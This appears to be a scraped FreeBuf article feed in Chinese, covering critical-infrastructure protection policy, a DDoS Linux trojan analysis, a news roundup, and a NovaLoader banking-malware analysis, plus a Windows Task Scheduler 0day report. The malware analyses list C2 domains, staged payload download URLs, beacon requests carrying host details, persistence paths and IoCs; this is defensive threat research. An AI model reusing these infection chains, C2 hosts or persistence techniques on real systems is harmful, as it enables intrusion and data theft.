黑客主义和网络犯罪的攻击通常更频繁,但不那么复杂,影响也不那么严重。它们通常包括拒绝服务(DoS)攻击、丑化网站、窃取和发布敏感信息、在线欺骗和在线欺诈。这可能会对关键基础设施造成经济损失和破坏,尽管损害往往很小。相比之下,网络间谍和网络战争攻击通常不那么频繁,但对关键基础设施的影响可能非常严重。特别是,国家启动的攻击或来自重要的非国家行为者的攻击,涉及侵入另一个国家的计算机和网络,意图破坏或摧毁,可能导致对关键基础设施的大规模干扰,立即造成经济损失,并中断必要的社会服务。网络间谍活动可能导致机密信息的丢失,这通常对关键基础设施的安全构成间接但重大的威胁。换句话说,网络间谍活动本身并不打算破坏关键信息基础设施,但是个人、经济、军事、政治、商业和关键基础设施信息的损失可以被用来确定和暴露关键基础设施和关键信息基础设施(CII)中的漏洞。

国家网络安全能力成熟度模型

本节讨论了许多有助于提高关键信息基础设施(CII)安全性的步骤,最终目的是为了提高关键基础设施(CI)的保护和恢复能力。方框 1.3 提供了对这些步骤的概述,这些步骤将在接下来的页面中详细地进行讨论。

国家网络安全能力成熟度模型

能力建设步骤

➢ 在政府范围内任命任务负责机构

关键基础设施(CI)IP 是一个多机构的活动,涉及政府部门(通信、信息通信技术、经济事务、安全、内阁办公室、司法、国防等)、地区公共机构、监管机构中重要的公共利益攸关方和其他相关公共利益攸关方。此外,与关键基础设施(CI)IP 直接相关的私营部门利益攸关方,包括关键基础设施(CI)和关键信息基础设施(CII)运营商、制造商、系统集成商、第三方维修公司、学术界、研发机构和非政府组织(NGOs)。

image.png

任务负责机构应协调并对关键信息基础设施保护(CIIP)负责。这可能包括:

确定关键基础设施(CI)和关键信息基础设施(CII),以及确定相关关键基础设施(CI)和关键信息基础设施(CII)利益攸关方;

制定关键基础设施保护(CIP)与关键信息基础设施保护(CIIP)战略;

协调利益攸关方实施关键基础设施保护(CIP)和关键信息基础设施保护(CIIP)战略;

监测和改进关键基础设施保护(CIP)和关键信息基础设施保护(CIIP)战略及其实施;以及促进有关公共部门和私营部门利益攸关方之间的资料共享。

指定任务负责机构的潜在好处可能包括尽量缩短恢复和恢复期间,并促进各利益攸关方之间的共同理解。此外,任务负责机构将能够在具有不同优先级的机构之间进行调解。

为了确保良好的定位,提供战略方向,关键是关键信息基础设施保护(CIIP)部门必须受到在信息和通信技术方面具有很强资质的领导者的监督,特别是在信息保障方面,而且任务负责机构必须具备管理关键信息基础设施保护(CIIP)部门与其他利益攸关方(包括私营部门内部)关系所需的谈判技巧。

➢ 确定并让公共部门和私营部门的利益攸关方参与进来

任务负责机构应定期与所有相关的公共利益攸关方进行接触,并与拥有和/或控制关键基础设施资产的私营部门行动者进行联系。从关键基础设施保护(CIP)和关键信息基础设施保护(CIIP)的早期阶段开始,重要的是在政府内部采取多机构的方式,在政府之外建立公私伙伴关系(PPPs),并在利益攸关方之间建立有效的信息共享平台。所有相关的利益攸关方的参与不仅为任务负责机构提供对关键基础设施(CI)和关键信息基础设施(CII)不同部分的治理和所有权的深刻理解,而且对于构建一个所有的利益攸关方一起工作、共享信息并采取适当行动的环境也很重要。减轻关键基础设施(CI)和关键信息基础设施(CII)面临的许多风险的能力和责任在于众多不同公共部门和私营部门的利益攸关方,如果不让这些利益攸关方充分地参与关键信息基础设施保护(CIIP)过程,可能会降低任何关键信息基础设施保护(CIIP)战略的有效性。

首先重要的是要确定公共部门和私营部门的相关利益攸关方。在许多国家,关键基础设施(CI)和关键信息基础设施(CII)所涉及的利益攸关方是多样且复杂的。

国家网络安全能力成熟度模型

一旦确定了利益攸关方,下一步就是在有关各方之间建立接触与合作。例如,在公共部门,这可以通过定期举行圆桌会议,从战略、战术和业务层面讨论关键信息基础设施保护(CIIP)来建立接触与合作。这些可以包括就治理结构、法律任务和业务协调与合作的程序进行的讨论。这些圆桌讨论以后可能会扩大到包括私营部门的利益攸关方,其目标不仅是在各部门之间有效地委派任务,而且也要建立一种资源共享、信息共享和联合决策的协作环境。

圆桌讨论并不是实现公共部门和私营部门参与的唯一手段,本节的最后一部分中将讨论更多的选择项。

➢ 识别在审核清单里关键基础设施中的网络漏洞(包括在供应链中的漏洞),并将该清单分发给相关政府利益攸关方, 根据他们的脆弱性和影响按照优先顺序对资产进行确认

在制定关键信息基础设施保护(CIIP)战略之前,需要采取某些初步的步骤:

关键基础设施(CI)的确定;

关键信息基础设施(CII)的确定;

风险评估(包括威胁评估、漏洞评估和影响分析)

尽管关键基础设施(CI)的确定应先于关键信息基础设施(CII)的确定进行,但这三个步骤不一定需要按这个顺序执行。而且,关于这三个步骤中的每一个都存在有大量的文件。这里只提供了一个简要的概述,这三个步骤中的每一个步骤都应该参考本节末尾列出的文档。

关键基础设施(CI)的确定

确定关键基础设施(CI)方法多样,包括自底向上方法、使用简单标准和度量指标的自顶向下的分析法,以及开发和使用详细的度量指标的自顶向下分析法。以下给出以下具体的实例供参考。

国家网络安全能力成熟度模型image.png

关键信息基础设施(CII)的确定

在确定关键基础设施(CI)之后,下一个阶段是确定和评估支撑关键基础设施(CI)部门的关键信息基础设施(CII)。这包括对下列两项的确定:

• 支持每个关键基础设施(CI)部门运作的关键信息、通信和控制系统;

• 跨关键基础设施(CI)部门(比如,互联网、移动电话和卫星网络)使用的关键信息和(远程)通信网络基础设施。

国家网络安全能力成熟度模型

有大量的文献讨论了识别 CII 的不同方法,尽管在这个工具箱中没有提供关于该领域的详细讨论。

本节最后列出了关于这方面的进一步参考资料。但是,有一些关于如何查验国际监测协调员的一般性建议,包括:

使用结构化的、系统的方法

从公共和私营部门识别和雇佣 CII 运营者

识别 CI 部门之间的依赖性和信息供应链

识别无法控制的依赖关系,如使用国际网站托管平台和云计算服务器、对国际上依赖的互联网交换站点和使用第三方硬件制造商

对 CII 定期进行重新评估

对新兴 CII 技术和不断变化的依赖性进行研究

日本关于关键信息基础设施保护(CIIP)的基本政策提供了许多跨不同关键基础设施(CI)部门的关键信息基础设施(CII)示例,如表 1.3 中所示。

国家网络安全能力成熟度模型

风险评估

除了确定关键基础设施(CI)和关键信息基础设施(CII)之外,对关键信息基础设施(CII)进行风险评估也是很重要的。风险评估应该确定,并对关键信息基础设施(CII)面临的风险进行优先排序,并将这些信息传达给相关的利益攸关方。风险本身是一个抽象概念,它结合了概率和潜在影响,但为了进行风险评估,它可以细分为三个领域:威胁、漏洞和影响。风险评估可以包括对这三个领域的评估。

图 1.6:国家级风险评估的组成部分

国家网络安全能力成熟度模型

威胁评估是为了寻求确定攻击行为者的类型、攻击方法和潜在的攻击目标。漏洞评估的目的是发现关键信息基础设施(CII)安全性中的技术和非技术弱点,这些弱点可能是由于信息基础设施老化、系统过载、软件过时、缺乏维护或与外部网络的互连增加等原因造成的。与上面的临界性评估相类似,影响评估试图从类型(经济、人)和严重程度(程度、范围广度、期限)两方面认识关键信息基础设施(CII)遭受网络攻击的可能后果。

有几种方法可以用于进行国家级的风险评估。下面的图 1.7 和图 1.8 提供了风险概要的两个示例。

国家网络安全能力成熟度模型注释:

Worst case flooding 最糟糕的水灾;

Deliberate power disruption 蓄意的电力中断;

Cyber conflict 网络冲突;

Deliberate ICT disruption of CI 蓄意破坏关键基础设施(CI)的信息通信技术(ICT);

Internet exchange failure 互联网交流失败

国家网络安全能力成熟度模型注释:

Criticality of Infrastructure 基础设施的临界性;

Assessment of Likelihood(a combination of vulnerability & threat)可能性评估(漏洞和威胁的结合);

Priority 优先级

➢ 为已经确定的关键基础设施制定保护和风险管理策略

关键信息基础设施保护(CIIP)的下一个阶段是关键信息基础设施保护(CIIP)战略的开发。关键信息基础设施保护(CIIP)战略可以被纳入更广泛的国家网络安全战略,也可以作为独立的政策文件而存在。保护和风险管理策略不仅应该得到政府最高层的支持,更重要的是,还应该得到所有相关利益攸关方的承诺。

关键信息基础设施保护(CIIP)战略可寻求从高级层面上解决这四个领域的问题,即:对可能的网络攻击的预防和早期预警;网络攻击的检测;对网络攻击的反应;以及关键基础设施(CI)和关键信息基础设施(CII)中断时的危机管理。该战略应该明白表示明确的意图和 SMART (具体的、可衡量的、可实现的、现实的和有时限的)政策目标。

➢ 出台国家关键基础设施资产保护概览计划,注明哪些威胁要集中进行管理,哪些威胁要进行本地化管理;在关键基础设施资产的日常管理中嵌入足够的网络安全风险管理过程、技术解决方案和损害减轻措施

关键信息基础设施保护(CIIP)战略和关键信息基础设施保护(CIIP)行动计划之间有一个重要的区别。通常情况下,战略寻求沟通高层目标,以确定总体方向,而行动计划确定并委派相关的利益攸关方执行短期到中期任务。例如,这些措施可以包括实施风险管理周期,其中包括经常重新评估风险,然后制订、实施和评估新的安全措施,以期不断地改进和完善国家的关键信息基础设施保护(CIIP)。

行动计划可以包括,但不限于,处理以下组成部分的策略:

不断收集威胁情报和分析,以便于持续地完善关键信息基础设施保护(CIIP)的知识库;

推广网络安全原则;

加强信息共享和其他协作机制;

安全应急响应能力增强;

定期检测信息系统漏洞;

风险管理;

跨部门演习;

对环境变化的监控和敏捷响应。

➢ 促进利益攸关方之间的信任,并为双方的互利合作创造一个有利的环境

利益攸关方在公共领域和私人领域,以及国家层面和国际层面的参与是保护国家网络安全的一个关键条件。这样的环境可以通过安排定期的信息交流会议来创建。

建立基于信任的强大网络是迅速地、及时地交换关键信息等活动的关键条件。如果相关人员具有类似级别的技术能力、权力和自主权,并对风险有共同的承受能力,就可以最有效地实现这一目标。

其他参考资料

国家网络安全能力成熟度模型

结语

觉得有用,各取所需。

*本文作者:lywhiz,转载请注明来自FreeBuf.COM。

原文阅读

针对国内IP发起攻击的DDoS样本分析
光通天下 2019-5-24 0:0 转存

一、前言

图片1.png

近期光通天下团队捕获到名为stianke_trojan.bak的恶意样本,经过样本初步分析确认该病毒类型Linux.Trojan.Generic.DDos。

样本md5值等信息如下:

MD5:43a5c08bfac85e097b1eceeafaeeec40

SHA-1:9e9680e492bfcdf894bdedc92dc25848f0474f1d File Type ELF

Magic: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped

TRiD ELF Executable and Linkable format (Linux) (50.1%)

ELF Executable and Linkable format (generic) (49.8%)

File Size 1.17 MB

此次捕获到的病毒家族庞大,变种复杂多样,运用了大量的关键字符加密(动态解密过程)。利用linux特性,感染大量系统文件(高效、非临时性)作为自我保护与持续性攻击的手段。

利用Linux系统原理巧妙伪装与隐藏,被感染服务器植入后门,发动DDos网络攻击,如果被木马植入,将会带来极大的危害及不可预估的损失。

二、行为分析

观察病毒是否加壳进行了免杀处理,通过查壳并未加壳,如下所示:

图片2.png 图片一:查壳

病毒拖入虚拟机或沙箱进行运行,动态观察病毒对系统恶意行为,如修改配置、网络操作等,对病毒行为结果做到心中有数,如下所示:

图片3.png 图片4.png图片二:行为监控 

三、样本详细分析

(1)样本执行流程分析

拖入IDA中观察样本的复杂程度如下所示: 

图片5.png图片三:IDA VIEW

利用字符串交叉引用提取有效的字符串信息,其中提取大量的DDos所攻击的ip(高达300以上),ip源基本都是中国境内的,如下所示:

图片6.png 图片四:目标ip源

定位到病毒入口点,经样本动态调试,执行流程大体如下:

图片7.png图片8.png 图片9.png 图片五:病毒执行流程  

(2)动态解密字符串模块

解密数据赋值给全局变量:

图片10.png图片11.png 图片六:动态解密数据

通过字符串动态解密,最后解密出正确的ip域名端口等数据:

图片12.png 图片七:ip/域名/port

最终整理全局变量被赋值的数据,如下所示:

13.png图片13.png 图片八:域名解析

(3)MainBeikong模块

观察执行流程会发现,当病毒第一次执行的时候,g_iGatesType被赋值为1,则必然会进入到该函数,函数分析如下:

图片14.png 图片九:MainBeikong

执行恶意代码,会先killPid与删除“/tmp/bill.lock”,,在启动目录下存在bash,然后还会判断一些文件且删除,保证唯一性(后面还会在创建该文件)。

这时候就用到了前面的全局变量g_strSN(DbSecuritySpt)伪装在init.d与rc目录下,通过查看写入文件数据,是病毒源文件绝对路径。 

图片15.png 图片十:伪装启动源

使用自己封装的函数MkdirPid,创建文件且写入线程文件,我们通过sysdig或者动态执行代码后,追踪恶意行为,这时候创建以全局变量g_strGL(lod)后缀的文件记录Pid如下所示:

图片16.png 图片十一:写入Pid

MainBeikong函数进入了结尾,函数清理了环境(因为每执行一个函数就会fork()创建新进程,退出当前进程),把自己加入系统服务中,为下一步执行MainBackdoovr做预热准备,如下所示:

图片17.png 图片十二:MainBeikong

(注:windows使用OD等工具可以在新线程创建回调进行附加下断,也可以在Thread 运行回调时候可以下断,Linux fork或者processthread配合exit就很难下断新进程,提供思路,使用IDC写脚本修改二进制机器码与汇编指令,达到实现完整的动态调试效果。)

(4)MainBackdoorv模块

MainBackdoorv函数是病毒中尤为重要一个环节,这里是恶意攻击的执行点,也是重点分析的函数,如下所示: 

图片18.png 图片十三:MainBackdoorv

该函数会判断是否已存在getty.lock.ak,g_strBDG(selinux)全局变量解密的数据创建的文件,如果不存在则创建该文件且获取全局变量g_strBDSN,selinux针对getty文件,如下所示:

图片19.png 图片十四:selinux伪装

(5)MainProcess模块

MainProcess包含了C&C通信,自己也构建了服务端,创建了大量的线程(多线程方式),有着良好的线程锁与线程池来控制攻击线程。不同的操作使用了不同封装类来调用对象执行,用this作为参数,而this作为回调函数列表,以指针偏移方式去寻址调用恶意代码,是一个非常复杂的函数,重点分析如下:

图片20.png 图片十五:MainProcess执行流程

MainProcess先是利用了谷歌公开的服务器更新了域名,网络抓包如图八,这个比较有意思,如下所示:

图片21.png 图片十六:InitDnsCache

接着初始化了大量的攻击ip,如图四所示,感染了/usr/lib/libamplify.so动态链接模块,而且初始化了ATK(攻击)模块及this偏移,如下所示:

图片22.png图片十七:ATK模块

动态调试过程中还发现了函数感染了大量的文件,并拥有755的权限,提取被感染的文件名称,如下所示: 

23.png 图片23.png 图片十八:被感染文件

线程创建及类Manager调用,使用Socket创建了服务端,用来接收客户端(ip组中返回的数据),Send发送大量的数据如下所示: 

图片24.png图片25.png 图片26.png 图片十九:SocketDDos

这个样本比较独特的地方,维护了很多对象,对this指针进行调用列表赋值,作为创建新线程参数传入。在构造函数里进行了初始化,在析构释放执行了部分操作,如下所示: 

图片27.png图片28.png 图片29.png 图片二十:ObjectRef

最后找到了关键攻击函数ProssMain,封装了各类型的DDoS攻击,如下所示:

图片30.png 图片二十一:DDos攻击封装

(Ps:附上一张DDoS攻击状态图(模拟),直观的感受DDoS对服务器带来的性能影响与危害。)

图片31.png 图片二十二:DDos攻击感官图

四、恶意域名,IP及被攻击IP整理

恶意域名:

Lea.f3322.org  103.73.160.25(中国香港)

微信图片_20190516144529.png 控制端-恶意IP:

130.73.160.25:2500 (德国柏林州柏林)

被攻击IP(331 个,大部分在中国):

61.132.163.68

202.102.192.68

202.102.213.68

...

221.7.92.86

221.7.92.98

五、病毒处理及加固措施

根据病毒的行为与样本分析定性,清理被感染的文件及尝试恢感染的数据,对服务器进行加固,编写伪脚本如下(需要配合实际情况):

图片32.png 图片二十三:病毒处理及数据恢复脚本

六、总结

经过病毒的全面分析,入侵系统以后,执行了大量的恶意代码,感染文件、加载内核模块、伪装隐藏等恶意行为,目的发动各种形式的DDos攻击。

单纯的观察行为是很难排查与定位,无法捕获到病毒执行过程与文件数据感染的具体情况。管理人员应该加强安全防范意识,有良好的网络监控服务(如DDos监控)日志审计等,第一时间掌控服务器健康状态,从而及时发现、排查、追踪、定位、分析、处理,将病毒造成的损害降至最低点。

*本文作者:光通天下,转载请注明来自FreeBuf.COM

原文阅读

BUF早餐铺 | GitHub ID为SandboxEscaper的用户再次上传2个零日漏洞;新型纹识别技术存在漏洞,可导致Android和iOS设备被跟踪;欧盟监管机构对谷歌发起数据隐私相关调查
Freddy 2019-5-23 23:0 转存

各位Buffer早上好,今天是 2019 年 5 月 24 日星期五。今天的早餐铺内容主要有:GitHub ID为SandboxEscaper的用户再次上传2个零日漏洞;新型纹识别技术存在漏洞,可导致Android和iOS设备被跟踪;欧盟监管机构对谷歌发起数据隐私相关调查;继俄罗斯之后,Shade勒索软件开始攻击英语国家;工信部:一季度处置网络安全威胁967万余个;国家市场监管总局谈“浏览器主页劫持”:将会同相关部门治理。

GitHub ID为SandboxEscaper的用户再次上传2个零日漏洞

GitHub ID为为SandboxEscaper的用户之前在GitHub上上传了类似的安全功能漏洞之后,这一次又发布了针对另外两个微软零日的演示代码。这样一来,该用户在过去十个月里发布的WIndows零日漏洞已达到7个。

这两个零日漏洞来自Windows错误报告功能以及IE 11模块。成功利用错误报告功能存在的漏洞可让黑客获得提权能力,编辑原先无法访问的文件。而IE 11的漏洞则能够让攻击者在Internet Explorer中注入恶意代码。[来源:zdnet]

新型纹识别技术存在漏洞,可导致Android和iOS设备被跟踪

一项新的设备指纹识别技术可以使用出厂时设置的详细传感器校准信息,跟踪互联网上的Android和iOS设备,任何应用或网站都可以在没有特殊权限的情况下获取这些信息。这种新技术称为校准指纹识别攻击或SensorID,它通过使用iOS上的陀螺仪和磁力计传感器的校准细节来实现;也可以使用Android设备上的加速度计、陀螺仪和磁力计传感器的校准细节。

根据英国剑桥大学的一个学术团队的说法,SensorID对iOS设备的影响大于对Android设备的影响。原因是苹果喜欢在其工厂生产线上校准iPhone和iPad传感器,但却只有少数Android供应商通过这一过程来提高智能手机传感器的准确性。研究小组在昨天发表的一份研究报告中说:“我们的方法是通过仔细分析来自传感器的数据,这无需对网站和应用程序提供任何特殊许可即可访问。”[来源:zdnet]

欧盟监管机构对谷歌发起数据隐私相关调查

总部设在爱尔兰的欧盟数据保护委员会(Data Protection Commission)周三宣布将对谷歌展开调查,内容涉及这家科技巨头收集网络广告相关数据的行为。在欧洲地区,欧盟数据保护委员会是对谷歌进行监管的主要机构,该委员会称其将会调查谷歌在广告交易中的数据处理方式是否违反了欧盟的隐私权规定。

去年欧盟推出了全面的最新隐私权改革措施,也就是所谓的“一般数据保护条例”(GDPR),在控制个人数据的问题上向欧洲公民赋予了新的权利,包括他们拥有了解公司如何使用其数据以及强迫公司销毁其数据的权利等。欧盟数据保护委员会宣布对谷歌展开调查的背景是,科技公司正在全球范围内面临着从内容到数据保护等各个方面的监管审查。去年,Facebook尤其遭到了诸多批评,原因是该公司允许颇受争议的政治咨询公司剑桥分析(Cambridge Analytica)获取了8700万名用户的个人数据。[来源:cnbeta]

继俄罗斯之后,Shade勒索软件开始攻击英语国家

hade(也被称为Troldesh)勒索软件是一个历史悠久的勒索软件,于2014年底首次出现,主要针对运行Microsoft Windows的主机。Shade主要通过恶意垃圾邮件和漏洞利用工具包进行分发。以前Shade勒索软件可执行文件主要针对俄语用户,但研究人员发现Shade最近也开始针对英语用户。

事实上,研究表明,受Shade勒索软件影响的前五个国家不是俄罗斯或前苏联国家,而是美国、日本、印度、泰国和加拿大,俄罗斯只排在第七。在这些国家中受到攻击的主要行业是高科技、批发和教育。[来源:mottoin]

工信部:一季度处置网络安全威胁967万余个

今年一季度信息通信行业网络安全总体态势依旧严峻,网络安全监管成效持续巩固。一季度,全行业共处置网络安全威胁967万余个,包括恶意IP地址、恶意域名等恶意网络资源近170万个,木马、僵尸程序、病毒等恶意程序698万余个,网络安全漏洞等安全隐患约4.8万个,主机受控、数据泄露、网页篡改等安全事件约93.5万个。[来源:雷锋网]

国家市场监管总局谈“浏览器主页劫持”:将会同相关部门治理

市场监管总局已于今年4月起在全国范围内部署开展“守护消费”暨打击侵害消费者个人信息违法行为专项执法行动。下一步,将配合中央网信办等部门,从规范格式条款、APP安全认证、消费者个人信息保护等角度做好相关治理工作。同时,积极配合全国人大常委会推动个人信息保护法尽快出台。

APP安全认证在今年3月13日由市场监管总局联合中央网信办共同向全社会推出,按照APP运营商自愿申请的原则,由具备资质的认证机构依据相关国家标准对APP收集、存储、传输、处理、使用个人信息等活动进行评价,符合要求后颁发安全认证证书并允许认证标识。通过鼓励搜索引擎和应用商店优先推荐获证APP等方式,引导消费者选用安全的APP产品。[来源:人民日报]

原文阅读

骚扰电话何时休,中国电信因管控不力被工信部约谈
Allen别bb 2019-5-23 9:11 转存

骚扰电话愈发猖獗大概是隐私泄露问题的真实写照,除了个人隐私意识需要加强之外,电信公司对于骚扰电话的打击力度显然还不够。近期,工信部就骚扰电话管控不力问题约谈了中国电信集团公司和广东、江苏、浙江、四川等问题突出的四省电信公司。

WX20190523-164719@2x.png

由于近期中国电信骚扰电话被投诉举报量快速增长,工信部要求其重点加强语音专线和码号等通信资源的管控,坚决落实治理骚扰电话部署要求,确保短期内见实效,并与四省电信公司签订了《整改承诺书》。

随着微信、QQ逐渐取代电话、短信成为人们日常主要的交流工具,骚扰电话问题显得更加突出,这并不能完全体现由隐私泄露造成骚扰电话更加严重的情况。

2019_03_16_4a710268df5b405aa56c84e061ba78d3.jpeg

笔者翻看手机通话记录,最新的十条中,1条网约车、2条订餐/咖啡、1条快递、1条运营商客服电话以及5条各类推广/贷款类骚扰电话。如果抛开快递和订餐的需求,在网络持续良好的情况下,笔者甚至觉得可以屏蔽一切来电,连短信也不过是为了接受验证码和快递消息而已。

根据《 2019年2月12321举报受理情况播报 》,2019年2月份仅12321举报中心收到的举报涉嫌骚扰电话约3.7万件次,这比近期正在大力整治的APP安全、权限问题收到的举报量还要多近1万件次。

WX20190523-162251@2x.png

在骚扰电话举报情况中,贷款理财类、违规催收类和电话轰炸类的举报 信息居前三位,占比分别为 24.2%、15.7%和 9.3%,前三类占比就几乎占据一半比重。虽然笔者平时很少遭遇电话轰炸和违规催收的情况,但贷款理财类的骚扰电话高居第一位,还是非常现实的。

在今年的315晚会上,揭露了一个鲜为人知产业链,连客服电话都披上了人工智能的外衣,人工智能客服机器人一天能拨打几千条电话,而且普通用户根本区分不出来是真人还是机器人。想想我心情很低落时收到骚扰电话时忍不住会爆几句粗口,真是有点好笑,你跟个机器人较什么劲儿呢?

20188106080621270.jpeg

柯洁尚且承认人类无法超越AlphaGO,消费者又如何去跟一个一天能打几千通电话还不用喝水的机器人去对抗呢。尽管越来越多的智能手机都自带有防骚扰机制,通过设定一些规则能够屏蔽一部分骚扰电话和短信。但仍然有大量骚扰电话号码没有被来电显示库标记类型,基本无法屏蔽。是否也该反思,这些号码都是哪里来的?手机实名制机制全面推行,似乎完全没有遏制骚扰电话的疯长,境内外依然存在大量黑卡被黑灰产利用,从源头上治理骚扰电话,电信运营商首当其冲。

我希望有一天,24小时都没接到一个陌生电话的时候,不是因为手机欠费……

*本文作者:Allen别bb,转载请注明来自FreeBuf.COM

原文阅读

NovaLoader:一款针对巴西银行的恶意软件家族
Alpha_h4ck 2019-5-23 7:0 转存

1.jpg

写在前面的话

近期,研究人员检测到了一个非常有趣的针对巴西银行的恶意软件活动。这款恶意软件名叫NovaLoader,采用Delphi开发,并且使用了Visual Basic Script(VBS)脚本语言来扩展其他功能。虽然最终的Payload不算新颖,而且也有很多研究人员已经研究过了,但我们这一次发现的多阶段Payload传播却是之前没有出现过的。

传播方法

在之前的样本中,这款恶意软件所采用的传播方法包括垃圾邮件、社工活动以及钓鱼网站等等。攻击者使用了各种参数和选项来确保恶意软件的传播,并尝试绕过安全防护产品的检测。一般来说,他们主要利用的都是热门的合法服务,比如说Dropbox、GitHub、Pastebin、AWS以及GitLab等等,而且还会使用类似No-IP和DynDNS等动态DNS服务。

根据研究人员的分析,NovaLoader在其感染链中使用了Autolt、PowerShell和Batch脚本,但这是我们首次发现它竟然还使用了VBS。除此之外,在此次攻击活动中,它还使用了加密脚本,而不像之前那样只是对脚本代码进行了混淆处理。

主Dropper

MD5:4ef89349a52f9fcf9a139736e236217e

这款恶意软件的主Dropper比较简单:它唯一的作用就是解密嵌入其中的VB脚本,并运行解密后的脚本:

3.png

第一阶段脚本

下图为嵌入脚本解密前和解密后的代码。

这个VBS文件将会解密一个URL地址(dwosgraumellsa[.]club/cabaco2.txt),并下载另一个加密脚本,然后在该脚本解密后运行脚本:

5.png

第二阶段脚本

下载下来的VB脚本解密后的部分代码段如下所示:

6.png

VB脚本会向“http://54.95.36[.]242/contaw.php”发送一个GET请求,很可能是为了让远程C2服务器知道它已经成功在目标系统上运行了。接下来,它会尝试使用WMI查询并检测当前是否为虚拟机环境:

7.png

NovaLoader将会把下面这些可执行文件拷贝到目录“C:\\Users\\Public\\”中:

C:\\Windows\\(system32|SysWOW64)\\rundll32.exe

C:\\Windows\\(system32|SysWOW64)\\Magnification.dll

接下来,它会从以下地址下载一些依赖文件:

32atendimentodwosgraumell[.]club

32atendimentodwosgraumell[.]club/mi5a.php文件在解密之后会存储到“C:\Users\Public\{random}4.zip”。

32atendimentodwosgraumell[.]club/mi5a1.zip文件会存储为“C:\Users\Public\{random}1.zip”。

32atendimentodwosgraumell[.]club/mi5asq.zip文件的存储路径为“C:\Users\Public\{random}sq.zip”。

然后它会向“54.95.36.242/contaw{1-7}.php”发送多个GET请求:

9.png

GET/contaw.php

GET/contaw2.php?w={redacted}BIT-PC_Microsoft%20Windows%207%20Professional%20_True

GET/contaw3.php?w={redacted}BIT-PC

GET/contaw4.php?w={redacted}BIT-PC

GET/contaw5.php?w={redacted}BIT-PC

GET/contaw6.php?w={redacted}BIT-PC_2/1/2019%205:05:06%20PM

GET/contaw7.php?w={redacted}BIT-PC_2/1/2019%205:05:06%20PM_CD=414KbCD1=9160Kb_

除此之外,它还会向“C:\Users\Public\”目录存储多个恶意文件:

10.png

最后,它将会使用拷贝过来的rundll32.exe文件来解密DLL并导出功能函数:

11.png

第三阶段的Payload是一个DLL文件,它将作为最终阶段Payload的加载器。它通过rundll32.exe运行,主要功能就是解密和加载最终阶段的Payload。

最终Payload

最终阶段的Payload采用Delphi开发,并且包含用户凭证窃取(针对各大巴西银行)在内等多种功能。而且它还会监控浏览器窗口的标题,如果检测到了匹配的巴西银行名称,恶意软件将会控制目标系统并与恶意C2服务器建立连接,然后阻止用户访问真正的银行网银页面,并在后台进行恶意操作。

恶意软件所使用的部分命令如下:

恶意软件中跟银行有关的部分字符串如下:

13.png

入侵威胁指标IoC

MD5:

60e5f9fe1b778b4dc928f9d4067b470b

4ef89349a52f9fcf9a139736e236217e

100ff8b5eeed3fba85a1f64db319ff40

99471d4f03fb5ac5a409a79100cd9349

cb2ef5d8a227442d0156de82de526b30

a16273279d6fe8fa12f37c57345d42f7

ac4152492e9a2c4ed1ff359ee7e990d1

fdace867e070df4bf3bdb1ed0dbdb51c

4d5d1dfb84ef69f7c47c68e730ec1fb7

6bf65db5511b06749711235566a6b438

c5a573d622750973d90af054a09ab8dd

ef5f2fd7b0262a5aecc32e879890fb40

35803b81efc043691094534662e1351c

34340c9045d665b800fcdb8c265eebec

a71e09796fb9f8527afdfdd29c727787

5a9f779b9cb2b091c9c1eff32b1f9754

a7117788259030538601e8020035867e

cb9f95cec3debc96ddc1773f6c681d8c

 a7722ea1ca64fcd7b7ae2d7c86f13013

URL:

185[.]141[.]195[.]5/prt1.txt

185[.]141[.]195[.]81/prt3.txt

185[.]141[.]195[.]74/prt1.txt

dwosgraumellsa[.]club/cabaco2.txt

wn5zweb[.]online/works1.txt

23[.]94[.]243[.]101/vdb1.txt

167[.]114[.]31[.]95/gdo1.txt

 167[.]114[.]31[.]93/gdo1.txt 

*参考来源:zscaler,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

Windows 10出现新0day,任务计划进程可用于攻击
Karunesh91 2019-5-23 6:53 转存

漏洞开发人员SandboxEscaper在微软最近一次安全更新之后的一周,放出了一个Windows操作系统的0day漏洞。该漏洞于去年8月份出现,能够使外部攻击者获取本地权限以及允许访客用户取得SYSTEM和TrustInstaller等全权限用户的文件。

格式错误的任务文件

此次漏洞出现在Task Scheduler程序中(即任务计划进程),可通过该漏洞从其他系统中倒入遗留任务。早在Windows XP时代,该任务就可以以.JOB格式存在,至今,仍然可以将其添加到新的操作系统中。

导入之后会发生什么?当Task Scheduler导入任意具有DACL(自主访问控制列表)控制权限当JOB文件时,在缺少DACL的情况下,系统会授予任何用户对文件的完全访问权限。

对此,研究人员解释,通过将遗留任务文件导入Windows 10上的任务计划进程中时,从旧系统中复制可执行文件“schtasks.exe”和“schedsvc.dll”并运行,便可导致远程过程调用(RPC)到“_SchRpcRegisterTask”中,这是一种任务调度程序服务公开向服务器注册任务的方法。

SandboxEscaper表示,这个漏洞能够让攻击者以有限权限开始,并以SYSTEM权限结束,为了证明其真实性,她放出了一段视频,演示了如何在x86的Windows系统上运行:

CERT/CC的漏洞分析师Will Dormann对此表示了肯定。他表示这是利用了Windows 10任务调度程序中的漏洞,其在旧版导入的任务上设置了SetSecurityInfo()。该漏洞调用代码一次,随后删除该文件,然后使用NTFS硬连接再次调用,指向获取使用SetSecurityInfo()破坏权限的文件。

Dormann确认了漏洞利用代码,并且表示它在2019年5月更新之后的Windows 10 x86系统上无需任何修改即可使用,成功率为100%。

若想在64位的Windows 10上实现,则需要重新编译第一个代码,但记录的结果相同,就像Server 2016和2019的区别。唯一无法复现这段代码的操作系统是Windows 8和Windows 7。

还有更多的0day

SandboxEscaper在其博客上发布,表示仍然还有四个未公开的0day漏洞,其中三个是导致代码执行本地权限升级(LPE)的漏洞,第四个则是沙盒逃逸。

目前,她似乎倾向于将0day卖给非西方的买家,并且对每个LPE开价至少60000,不过暂时对其使用的货币种类还不清楚。

“如果有非西方人想买LPE,请联系我。(仅限于Windows LPE)价格60k起。我不欠社会任何事,指向帮你致富。”

据悉,此人此前有过发布0day攻击的历史。当时其发布的第一个0day漏洞也是针对Task Scheduler的;第二个发布于2018年10月,是一个允许系统任何用户删除任何文件的漏洞;第三个发布于圣诞节前,攻击者能够通过系统访问来读取系统内任何文件;第四个则在新年前一天发布,内容是允许攻击者用任意数据覆盖系统内文件。 

*参考来源:bleepingcomputer,Karunesh91编译,转载请注明来自FreeBuf.COM

原文阅读

打造一款伪基站防御利器(一)
超雪团队2019 2019-5-23 6:30 转存

